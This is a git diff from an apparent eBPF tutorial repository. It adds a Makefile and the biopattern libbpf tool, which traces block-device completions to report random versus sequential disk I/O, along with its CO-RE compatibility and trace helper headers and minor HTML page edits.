= + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +trace_helpers.o: trace_helpers.c trace_helpers.h + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $< -o $@ + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) trace_helpers.o | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/17-biopattern/biopattern.bpf.c b/17-biopattern/biopattern.bpf.c new file mode 100644 index 0000000..c7d306e --- /dev/null +++ b/17-biopattern/biopattern.bpf.c @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: GPL-2.0 +// Copyright (c) 2020 Wenbo Zhang +#include +#include +#include +#include "biopattern.h" +#include "maps.bpf.h" +#include "core_fixes.bpf.h" + +const volatile bool filter_dev = false; +const volatile __u32 targ_dev = 0; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 64); + __type(key, u32); + __type(value, struct counter); +} counters SEC(".maps"); + +SEC("tracepoint/block/block_rq_complete") +int handle__block_rq_complete(void *args) +{ + struct counter *counterp, zero = {}; + sector_t sector; + u32 nr_sector; + u32 dev; + + if (has_block_rq_completion()) { + struct trace_event_raw_block_rq_completion___x *ctx = args; + sector = BPF_CORE_READ(ctx, sector); + nr_sector = BPF_CORE_READ(ctx, nr_sector); + dev = BPF_CORE_READ(ctx, dev); + } else { + struct trace_event_raw_block_rq_complete___x *ctx = args; + sector = BPF_CORE_READ(ctx, sector); + nr_sector = BPF_CORE_READ(ctx, nr_sector); + dev = BPF_CORE_READ(ctx, dev); + } + + if (filter_dev && targ_dev != dev) + return 0; + + counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); + if (!counterp) + return 0; + if (counterp->last_sector) { + if (counterp->last_sector == sector) + __sync_fetch_and_add(&counterp->sequential, 1); + else + __sync_fetch_and_add(&counterp->random, 1); + __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); + } + counterp->last_sector = sector + nr_sector; + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/17-biopattern/biopattern.c b/17-biopattern/biopattern.c new file mode 100644 index 0000000..d9e9abf --- /dev/null +++ b/17-biopattern/biopattern.c @@ -0,0 +1,239 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +// Copyright (c) 2020 Wenbo Zhang +// +// Based on biopattern(8) from BPF-Perf-Tools-Book by Brendan Gregg. +// 17-Jun-2020 Wenbo Zhang Created this. +#include +#include +#include +#include +#include +#include +#include +#include "biopattern.h" +#include "biopattern.skel.h" +#include "trace_helpers.h" + +static struct env { + char *disk; + time_t interval; + bool timestamp; + bool verbose; + int times; +} env = { + .interval = 99999999, + .times = 99999999, +}; + +static volatile bool exiting; + +const char *argp_program_version = "biopattern 0.1"; +const char *argp_program_bug_address = + "https://github.com/iovisor/bcc/tree/master/libbpf-tools"; +const char argp_program_doc[] = +"Show block device I/O pattern.\n" +"\n" +"USAGE: biopattern [--help] [-T] [-d DISK] [interval] [count]\n" +"\n" +"EXAMPLES:\n" +" biopattern # show block I/O pattern\n" +" biopattern 1 10 # print 1 second summaries, 10 times\n" +" biopattern -T 1 # 1s summaries with timestamps\n" +" biopattern -d sdc # trace sdc only\n"; + +static const struct argp_option opts[] = { + { "timestamp", 'T', NULL, 0, "Include timestamp on output" }, + { "disk", 'd', "DISK", 0, "Trace this disk only" }, + { "verbose", 'v', NULL, 0, "Verbose debug output" }, + { NULL, 'h', NULL, OPTION_HIDDEN, "Show the full help" }, + {}, +}; + +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + static int pos_args; + + switch (key) { + case 'h': + argp_state_help(state, stderr, ARGP_HELP_STD_HELP); + break; + case 'v': + env.verbose = true; + break; + case 'd': + env.disk = arg; + if (strlen(arg) + 1 > DISK_NAME_LEN) { + fprintf(stderr, "invaild disk name: too long\n"); + argp_usage(state); + } + break; + case 'T': + env.timestamp = true; + break; + case ARGP_KEY_ARG: + errno = 0; + if (pos_args == 0) { + env.interval = strtol(arg, NULL, 10); + if (errno) { + fprintf(stderr, "invalid internal\n"); + argp_usage(state); + } + } else if (pos_args == 1) { + env.times = strtol(arg, NULL, 10); + if (errno) { + fprintf(stderr, "invalid times\n"); + argp_usage(state); + } + } else { + fprintf(stderr, + "unrecognized positional argument: %s\n", arg); + argp_usage(state); + } + pos_args++; + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !env.verbose) + return 0; + return vfprintf(stderr, format, args); +} + +static void sig_handler(int sig) +{ + exiting = true; +} + +static int print_map(struct bpf_map *counters, struct partitions *partitions) +{ + __u32 total, lookup_key = -1, next_key; + int err, fd = bpf_map__fd(counters); + const struct partition *partition; + struct counter counter; + struct tm *tm; + char ts[32]; + time_t t; + + while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { + err = bpf_map_lookup_elem(fd, &next_key, &counter); + if (err < 0) { + fprintf(stderr, "failed to lookup counters: %d\n", err); + return -1; + } + lookup_key = next_key; + total = counter.sequential + counter.random; + if (!total) + continue; + if (env.timestamp) { + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + printf("%-9s ", ts); + } + partition = partitions__get_by_dev(partitions, next_key); + printf("%-7s %5ld %5ld %8d %10lld\n", + partition ? partition->name : "Unknown", + counter.random * 100L / total, + counter.sequential * 100L / total, total, + counter.bytes / 1024); + } + + lookup_key = -1; + while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { + err = bpf_map_delete_elem(fd, &next_key); + if (err < 0) { + fprintf(stderr, "failed to cleanup counters: %d\n", err); + return -1; + } + lookup_key = next_key; + } + + return 0; +} + +int main(int argc, char **argv) +{ + LIBBPF_OPTS(bpf_object_open_opts, open_opts); + struct partitions *partitions = NULL; + const struct partition *partition; + static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, + }; + struct biopattern_bpf *obj; + int err; + + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) + return err; + + libbpf_set_print(libbpf_print_fn); + + obj = biopattern_bpf__open_opts(&open_opts); + if (!obj) { + fprintf(stderr, "failed to open BPF object\n"); + return 1; + } + + partitions = partitions__load(); + if (!partitions) { + fprintf(stderr, "failed to load partitions info\n"); + goto cleanup; + } + + /* initialize global data (filtering options) */ + if (env.disk) { + partition = partitions__get_by_name(partitions, env.disk); + if (!partition) { + fprintf(stderr, "invaild partition name: not exist\n"); + goto cleanup; + } + obj->rodata->filter_dev = true; + obj->rodata->targ_dev = partition->dev; + } + + err = biopattern_bpf__load(obj); + if (err) { + fprintf(stderr, "failed to load BPF object: %d\n", err); + goto cleanup; + } + + err = biopattern_bpf__attach(obj); + if (err) { + fprintf(stderr, "failed to attach BPF programs\n"); + goto cleanup; + } + + signal(SIGINT, sig_handler); + + printf("Tracing block device I/O requested seeks... Hit Ctrl-C to " + "end.\n"); + if (env.timestamp) + printf("%-9s ", "TIME"); + printf("%-7s %5s %5s %8s %10s\n", "DISK", "%RND", "%SEQ", + "COUNT", "KBYTES"); + + /* main: poll */ + while (1) { + sleep(env.interval); + + err = print_map(obj->maps.counters, partitions); + if (err) + break; + + if (exiting || --env.times == 0) + break; + } + +cleanup: + biopattern_bpf__destroy(obj); + partitions__free(partitions); + + return err != 0; +} diff --git a/17-biopattern/biopattern.h b/17-biopattern/biopattern.h new file mode 100644 index 0000000..18860a5 --- /dev/null +++ b/17-biopattern/biopattern.h @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#ifndef __BIOPATTERN_H +#define __BIOPATTERN_H + +#define DISK_NAME_LEN 32 + +struct counter { + __u64 last_sector; + __u64 bytes; + __u32 sequential; + __u32 random; +}; + +#endif /* __BIOPATTERN_H */ diff --git a/17-biopattern/core_fixes.bpf.h b/17-biopattern/core_fixes.bpf.h new file mode 100644 index 0000000..552c9fa --- /dev/null +++ b/17-biopattern/core_fixes.bpf.h @@ -0,0 +1,169 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* Copyright (c) 2021 Hengqi Chen */ + +#ifndef __CORE_FIXES_BPF_H +#define __CORE_FIXES_BPF_H + +#include +#include + +/** + * commit 2f064a59a1 ("sched: Change task_struct::state") changes + * the name of task_struct::state to task_struct::__state + * see: + * https://github.com/torvalds/linux/commit/2f064a59a1 + */ +struct task_struct___o { + volatile long int state; +} __attribute__((preserve_access_index)); + +struct task_struct___x { + unsigned int __state; +} __attribute__((preserve_access_index)); + +static __always_inline __s64 get_task_state(void *task) +{ + struct task_struct___x *t = task; + + if (bpf_core_field_exists(t->__state)) + return BPF_CORE_READ(t, __state); + return BPF_CORE_READ((struct task_struct___o *)task, state); +} + +/** + * commit 309dca309fc3 ("block: store a block_device pointer in struct bio") + * adds a new member bi_bdev which is a pointer to struct block_device + * see: + * https://github.com/torvalds/linux/commit/309dca309fc3 + */ +struct bio___o { + struct gendisk *bi_disk; +} __attribute__((preserve_access_index)); + +struct bio___x { + struct block_device *bi_bdev; +} __attribute__((preserve_access_index)); + +static __always_inline struct gendisk *get_gendisk(void *bio) +{ + struct bio___x *b = bio; + + if (bpf_core_field_exists(b->bi_bdev)) + return BPF_CORE_READ(b, bi_bdev, bd_disk); + return BPF_CORE_READ((struct bio___o *)bio, bi_disk); +} + +/** + * commit d5869fdc189f ("block: introduce block_rq_error tracepoint") + * adds a new tracepoint block_rq_error and it shares the same arguments + * with tracepoint block_rq_complete. As a result, the kernel BTF now has + * a `struct trace_event_raw_block_rq_completion` instead of + * `struct trace_event_raw_block_rq_complete`. + * see: + * https://github.com/torvalds/linux/commit/d5869fdc189f + */ +struct trace_event_raw_block_rq_complete___x { + dev_t dev; + sector_t sector; + unsigned int nr_sector; +} __attribute__((preserve_access_index)); + +struct trace_event_raw_block_rq_completion___x { + dev_t dev; + sector_t sector; + unsigned int nr_sector; +} __attribute__((preserve_access_index)); + +static __always_inline bool has_block_rq_completion() +{ + if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) + return true; + return false; +} + +/** + * commit d152c682f03c ("block: add an explicit ->disk backpointer to the + * request_queue") and commit f3fa33acca9f ("block: remove the ->rq_disk + * field in struct request") make some changes to `struct request` and + * `struct request_queue`. Now, to get the `struct gendisk *` field in a CO-RE + * way, we need both `struct request` and `struct request_queue`. + * see: + * https://github.com/torvalds/linux/commit/d152c682f03c + * https://github.com/torvalds/linux/commit/f3fa33acca9f + */ +struct request_queue___x { + struct gendisk *disk; +} __attribute__((preserve_access_index)); + +struct request___x { + struct request_queue___x *q; + struct gendisk *rq_disk; +} __attribute__((preserve_access_index)); + +static __always_inline struct gendisk *get_disk(void *request) +{ + struct request___x *r = request; + + if (bpf_core_field_exists(r->rq_disk)) + return BPF_CORE_READ(r, rq_disk); + return BPF_CORE_READ(r, q, disk); +} + +/** + * commit 6521f8917082("namei: prepare for idmapped mounts") add `struct + * user_namespace *mnt_userns` as vfs_create() and vfs_unlink() first argument. + * At the same time, struct renamedata {} add `struct user_namespace + * *old_mnt_userns` item. Now, to kprobe vfs_create()/vfs_unlink() in a CO-RE + * way, determine whether there is a `old_mnt_userns` field for `struct + * renamedata` to decide which input parameter of the vfs_create() to use as + * `dentry`. + * see: + * https://github.com/torvalds/linux/commit/6521f8917082 + */ +struct renamedata___x { + struct user_namespace *old_mnt_userns; +} __attribute__((preserve_access_index)); + +static __always_inline bool renamedata_has_old_mnt_userns_field(void) +{ + if (bpf_core_field_exists(struct renamedata___x, old_mnt_userns)) + return true; + return false; +} + +/** + * commit 3544de8ee6e4("mm, tracing: record slab name for kmem_cache_free()") + * replaces `trace_event_raw_kmem_free` with `trace_event_raw_kfree` and adds + * `tracepoint_kmem_cache_free` to enhance the information recorded for + * `kmem_cache_free`. + * see: + * https://github.com/torvalds/linux/commit/3544de8ee6e4 + */ + +struct trace_event_raw_kmem_free___x { + const void *ptr; +} __attribute__((preserve_access_index)); + +struct trace_event_raw_kfree___x { + const void *ptr; +} __attribute__((preserve_access_index)); + +struct trace_event_raw_kmem_cache_free___x { + const void *ptr; +} __attribute__((preserve_access_index)); + +static __always_inline bool has_kfree() +{ + if (bpf_core_type_exists(struct trace_event_raw_kfree___x)) + return true; + return false; +} + +static __always_inline bool has_kmem_cache_free() +{ + if (bpf_core_type_exists(struct trace_event_raw_kmem_cache_free___x)) + return true; + return false; +} + +#endif /* __CORE_FIXES_BPF_H */ diff --git a/17-biopattern/index.html b/17-biopattern/index.html index df214d3..364e57e 100644 --- a/17-biopattern/index.html +++ b/17-biopattern/index.html @@ -83,7 +83,7 @@ diff --git a/17-biopattern/maps.bpf.h b/17-biopattern/maps.bpf.h new file mode 100644 index 0000000..51d1012 --- /dev/null +++ b/17-biopattern/maps.bpf.h @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +// Copyright (c) 2020 Anton Protopopov +#ifndef __MAPS_BPF_H +#define __MAPS_BPF_H + +#include +#include + +static __always_inline void * +bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) +{ + void *val; + long err; + + val = bpf_map_lookup_elem(map, key); + if (val) + return val; + + err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); + if (err && err != -EEXIST) + return 0; + + return bpf_map_lookup_elem(map, key); +} + +#endif /* __MAPS_BPF_H */ diff --git a/17-biopattern/trace_helpers.c b/17-biopattern/trace_helpers.c new file mode 100644 index 0000000..e873d35 --- /dev/null +++ b/17-biopattern/trace_helpers.c @@ -0,0 +1,452 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +// Copyright (c) 2020 Wenbo Zhang +// +// Based on ksyms improvements from Andrii Nakryiko, add more helpers. +// 28-Feb-2020 Wenbo Zhang Created this. +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "trace_helpers.h" + +#define min(x, y) ({ \ + typeof(x) _min1 = (x); \ + typeof(y) _min2 = (y); \ + (void) (&_min1 == &_min2); \ + _min1 < _min2 ? _min1 : _min2; }) + +#define DISK_NAME_LEN 32 + +#define MINORBITS 20 +#define MINORMASK ((1U << MINORBITS) - 1) + +#define MKDEV(ma, mi) (((ma) << MINORBITS) | (mi)) + +struct ksyms { + struct ksym *syms; + int syms_sz; + int syms_cap; + char *strs; + int strs_sz; + int strs_cap; +}; + +struct partitions { + struct partition *items; + int sz; +}; + +static int partitions__add_partition(struct partitions *partitions, + const char *name, unsigned int dev) +{ + struct partition *partition; + void *tmp; + + tmp = realloc(partitions->items, (partitions->sz + 1) * + sizeof(*partitions->items)); + if (!tmp) + return -1; + partitions->items = tmp; + partition = &partitions->items[partitions->sz]; + partition->name = strdup(name); + partition->dev = dev; + partitions->sz++; + + return 0; +} + +struct partitions *partitions__load(void) +{ + char part_name[DISK_NAME_LEN]; + unsigned int devmaj, devmin; + unsigned long long nop; + struct partitions *partitions; + char buf[64]; + FILE *f; + + f = fopen("/proc/partitions", "r"); + if (!f) + return NULL; + + partitions = calloc(1, sizeof(*partitions)); + if (!partitions) + goto err_out; + + while (fgets(buf, sizeof(buf), f) != NULL) { + /* skip heading */ + if (buf[0] != ' ' || buf[0] == '\n') + continue; + if (sscanf(buf, "%u %u %llu %s", &devmaj, &devmin, &nop, + part_name) != 4) + goto err_out; + if (partitions__add_partition(partitions, part_name, + MKDEV(devmaj, devmin))) + goto err_out; + } + + fclose(f); + return partitions; + +err_out: + partitions__free(partitions); + fclose(f); + return NULL; +} + +void partitions__free(struct partitions *partitions) +{ + int i; + + if (!partitions) + return; + + for (i = 0; i < partitions->sz; i++) + free(partitions->items[i].name); + free(partitions->items); + free(partitions); +} + +const struct partition * +partitions__get_by_dev(const struct partitions *partitions, unsigned int dev) +{ + int i; + + for (i = 0; i < partitions->sz; i++) { + if (partitions->items[i].dev == dev) + return &partitions->items[i]; + } + + return NULL; +} + +const struct partition * +partitions__get_by_name(const struct partitions *partitions, const char *name) +{ + int i; + + for (i = 0; i < partitions->sz; i++) { + if (strcmp(partitions->items[i].name, name) == 0) + return &partitions->items[i]; + } + + return NULL; +} + +static void print_stars(unsigned int val, unsigned int val_max, int width) +{ + int num_stars, num_spaces, i; + bool need_plus; + + num_stars = min(val, val_max) * width / val_max; + num_spaces = width - num_stars; + need_plus = val > val_max; + + for (i = 0; i < num_stars; i++) + printf("*"); + for (i = 0; i < num_spaces; i++) + printf(" "); + if (need_plus) + printf("+"); +} + +void print_log2_hist(unsigned int *vals, int vals_size, const char *val_type) +{ + int stars_max = 40, idx_max = -1; + unsigned int val, val_max = 0; + unsigned long long low, high; + int stars, width, i; + + for (i = 0; i < vals_size; i++) { + val = vals[i]; + if (val > 0) + idx_max = i; + if (val > val_max) + val_max = val; + } + + if (idx_max < 0) + return; + + printf("%*s%-*s : count distribution\n", idx_max <= 32 ? 5 : 15, "", + idx_max <= 32 ? 19 : 29, val_type); + + if (idx_max <= 32) + stars = stars_max; + else + stars = stars_max / 2; + + for (i = 0; i <= idx_max; i++) { + low = (1ULL << (i + 1)) >> 1; + high = (1ULL << (i + 1)) - 1; + if (low == high) + low -= 1; + val = vals[i]; + width = idx_max <= 32 ? 10 : 20; + printf("%*lld -> %-*lld : %-8d |", width, low, width, high, val); + print_stars(val, val_max, stars); + printf("|\n"); + } +} + +void print_linear_hist(unsigned int *vals, int vals_size, unsigned int base, + unsigned int step, const char *val_type) +{ + int i, stars_max = 40, idx_min = -1, idx_max = -1; + unsigned int val, val_max = 0; + + for (i = 0; i < vals_size; i++) { + val = vals[i]; + if (val > 0) { + idx_max = i; + if (idx_min < 0) + idx_min = i; + } + if (val > val_max) + val_max = val; + } + + if (idx_max < 0) + return; + + printf(" %-13s : count distribution\n", val_type); + for (i = idx_min; i <= idx_max; i++) { + val = vals[i]; + if (!val) + continue; + printf(" %-10d : %-8d |", base + i * step, val); + print_stars(val, val_max, stars_max); + printf("|\n"); + } +} + +unsigned long long get_ktime_ns(void) +{ + struct timespec ts; + + clock_gettime(CLOCK_MONOTONIC, &ts); + return ts.tv_sec * NSEC_PER_SEC + ts.tv_nsec; +} + +bool is_kernel_module(const char *name) +{ + bool found = false; + char buf[64]; + FILE *f; + + f = fopen("/proc/modules", "r"); + if (!f) + return false; + + while (fgets(buf, sizeof(buf), f) != NULL) { + if (sscanf(buf, "%s %*s\n", buf) != 1) + break; + if (!strcmp(buf, name)) { + found = true; + break; + } + } + + fclose(f); + return found; +} + +static bool fentry_try_attach(int id) +{ + int prog_fd, attach_fd; + char error[4096]; + struct bpf_insn insns[] = { + { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 }, + { .code = BPF_JMP | BPF_EXIT }, + }; + LIBBPF_OPTS(bpf_prog_load_opts, opts, + .expected_attach_type = BPF_TRACE_FENTRY, + .attach_btf_id = id, + .log_buf = error, + .log_size = sizeof(error), + ); + + prog_fd = bpf_prog_load(BPF_PROG_TYPE_TRACING, "test", "GPL", insns, + sizeof(insns) / sizeof(struct bpf_insn), &opts); + if (prog_fd < 0) + return false; + + attach_fd = bpf_raw_tracepoint_open(NULL, prog_fd); + if (attach_fd >= 0) + close(attach_fd); + + close(prog_fd); + return attach_fd >= 0; +} + +bool fentry_can_attach(const char *name, const char *mod) +{ + struct btf *btf, *vmlinux_btf, *module_btf = NULL; + int err, id; + + vmlinux_btf = btf__load_vmlinux_btf(); + err = libbpf_get_error(vmlinux_btf); + if (err) + return false; + + btf = vmlinux_btf; + + if (mod) { + module_btf = btf__load_module_btf(mod, vmlinux_btf); + err = libbpf_get_error(module_btf); + if (!err) + btf = module_btf; + } + + id = btf__find_by_name_kind(btf, name, BTF_KIND_FUNC); + + btf__free(module_btf); + btf__free(vmlinux_btf); + return id > 0 && fentry_try_attach(id); +} + +bool kprobe_exists(const char *name) +{ + char addr_range[256]; + char sym_name[256]; + FILE *f; + int ret; + + f = fopen("/sys/kernel/debug/kprobes/blacklist", "r"); + if (!f) + goto avail_filter; + + while (true) { + ret = fscanf(f, "%s %s%*[^\n]\n", addr_range, sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 2) { + fprintf(stderr, "failed to read symbol from kprobe blacklist\n"); + break; + } + if (!strcmp(name, sym_name)) { + fclose(f); + return false; + } + } + fclose(f); + +avail_filter: + f = fopen("/sys/kernel/debug/tracing/available_filter_functions", "r"); + if (!f) + goto slow_path; + + while (true) { + ret = fscanf(f, "%s%*[^\n]\n", sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 1) { + fprintf(stderr, "failed to read symbol from available_filter_functions\n"); + break; + } + if (!strcmp(name, sym_name)) { + fclose(f); + return true; + } + } + + fclose(f); + return false; + +slow_path: + f = fopen("/proc/kallsyms", "r"); + if (!f) + return false; + + while (true) { + ret = fscanf(f, "%*x %*c %s%*[^\n]\n", sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 1) { + fprintf(stderr, "failed to read symbol from kallsyms\n"); + break; + } + if (!strcmp(name, sym_name)) { + fclose(f); + return true; + } + } + + fclose(f); + return false; +} + +bool tracepoint_exists(const char *category, const char *event) +{ + char path[PATH_MAX]; + + snprintf(path, sizeof(path), "/sys/kernel/debug/tracing/events/%s/%s/format", category, event); + if (!access(path, F_OK)) + return true; + return false; +} + +bool vmlinux_btf_exists(void) +{ + struct btf *btf; + int err; + + btf = btf__load_vmlinux_btf(); + err = libbpf_get_error(btf); + if (err) + return false; + + btf__free(btf); + return true; +} + +bool module_btf_exists(const char *mod) +{ + char sysfs_mod[80]; + + if (mod) { + snprintf(sysfs_mod, sizeof(sysfs_mod), "/sys/kernel/btf/%s", mod); + if (!access(sysfs_mod, R_OK)) + return true; + } + return false; +} + +bool probe_tp_btf(const char *name) +{ + LIBBPF_OPTS(bpf_prog_load_opts, opts, .expected_attach_type = BPF_TRACE_RAW_TP); + struct bpf_insn insns[] = { + { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 }, + { .code = BPF_JMP | BPF_EXIT }, + }; + int fd, insn_cnt = sizeof(insns) / sizeof(struct bpf_insn); + + opts.attach_btf_id = libbpf_find_vmlinux_btf_id(name, BPF_TRACE_RAW_TP); + fd = bpf_prog_load(BPF_PROG_TYPE_TRACING, NULL, "GPL", insns, insn_cnt, &opts); + if (fd >= 0) + close(fd); + return fd >= 0; +} + +bool probe_ringbuf() +{ + int map_fd; + + map_fd = bpf_map_create(BPF_MAP_TYPE_RINGBUF, NULL, 0, 0, getpagesize(), NULL); + if (map_fd < 0) + return false; + + close(map_fd); + return true; +} diff --git a/17-biopattern/trace_helpers.h b/17-biopattern/trace_helpers.h new file mode 100644 index 0000000..171bc4e --- /dev/null +++ b/17-biopattern/trace_helpers.h @@ -0,0 +1,104 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __TRACE_HELPERS_H +#define __TRACE_HELPERS_H + +#include + +#define NSEC_PER_SEC 1000000000ULL + +struct ksym { + const char *name; + unsigned long addr; +}; + +struct ksyms; + +struct ksyms *ksyms__load(void); +void ksyms__free(struct ksyms *ksyms); +const struct ksym *ksyms__map_addr(const struct ksyms *ksyms, + unsigned long addr); +const struct ksym *ksyms__get_symbol(const struct ksyms *ksyms, + const char *name); + +struct sym { + const char *name; + unsigned long start; + unsigned long size; + unsigned long offset; +}; + +struct syms; + +struct syms *syms__load_pid(int tgid); +struct syms *syms__load_file(const char *fname); +void syms__free(struct syms *syms); +const struct sym *syms__map_addr(const struct syms *syms, unsigned long addr); +const struct sym *syms__map_addr_dso(const struct syms *syms, unsigned long addr, + char **dso_name, unsigned long *dso_offset); + +struct syms_cache; + +struct syms_cache *syms_cache__new(int nr); +struct syms *syms_cache__get_syms(struct syms_cache *syms_cache, int tgid); +void syms_cache__free(struct syms_cache *syms_cache); + +struct partition { + char *name; + unsigned int dev; +}; + +struct partitions; + +struct partitions *partitions__load(void); +void partitions__free(struct partitions *partitions); +const struct partition * +partitions__get_by_dev(const struct partitions *partitions, unsigned int dev); +const struct partition * +partitions__get_by_name(const struct partitions *partitions, const char *name); + +void print_log2_hist(unsigned int *vals, int vals_size, const char *val_type); +void print_linear_hist(unsigned int *vals, int vals_size, unsigned int base, + unsigned int step, const char *val_type); + +unsigned long long get_ktime_ns(void); + +bool is_kernel_module(const char *name); + +/* + * When attempting to use kprobe/kretprobe, please check out new fentry/fexit + * probes, as they provide better performance and usability. But in some + * situations we have to fallback to kprobe/kretprobe probes. This helper + * is used to detect fentry/fexit support for the specified kernel function. + * + * 1. A gap between kernel versions, kernel BTF is exposed + * starting from 5.4 kernel. but fentry/fexit is actually + * supported starting from 5.5. + * 2. Whether kernel supports module BTF or not + * + * *name* is the name of a kernel function to be attached to, which can be + * from vmlinux or a kernel module. + * *mod* is a hint that indicates the *name* may reside in module BTF, + * if NULL, it means *name* belongs to vmlinux. + */ +bool fentry_can_attach(const char *name, const char *mod); + +/* + * The name of a kernel function to be attached to may be changed between + * kernel releases. This helper is used to confirm whether the target kernel + * uses a certain function name before attaching. + * + * It is achieved by scaning + * /sys/kernel/debug/tracing/available_filter_functions + * If this file does not exist, it fallbacks to parse /proc/kallsyms, + * which is slower. + */ +bool kprobe_exists(const char *name); +bool tracepoint_exists(const char *category, const char *event); + +bool vmlinux_btf_exists(void); +bool module_btf_exists(const char *mod); + +bool probe_tp_btf(const char *name); +bool probe_ringbuf(); + +#endif /* __TRACE_HELPERS_H */ diff --git a/18-further-reading/index.html b/18-further-reading/index.html index 0d8a574..5577eef 100644 --- a/18-further-reading/index.html +++ b/18-further-reading/index.html @@ -83,7 +83,7 @@ diff --git a/19-lsm-connect/index.html b/19-lsm-connect/index.html index 53dd263..3e12cb6 100644 --- a/19-lsm-connect/index.html +++ b/19-lsm-connect/index.html @@ -83,7 +83,7 @@ @@ -145,6 +145,7 @@

eBPF 入门实践教程:使用 LSM 进行安全检测防御

+

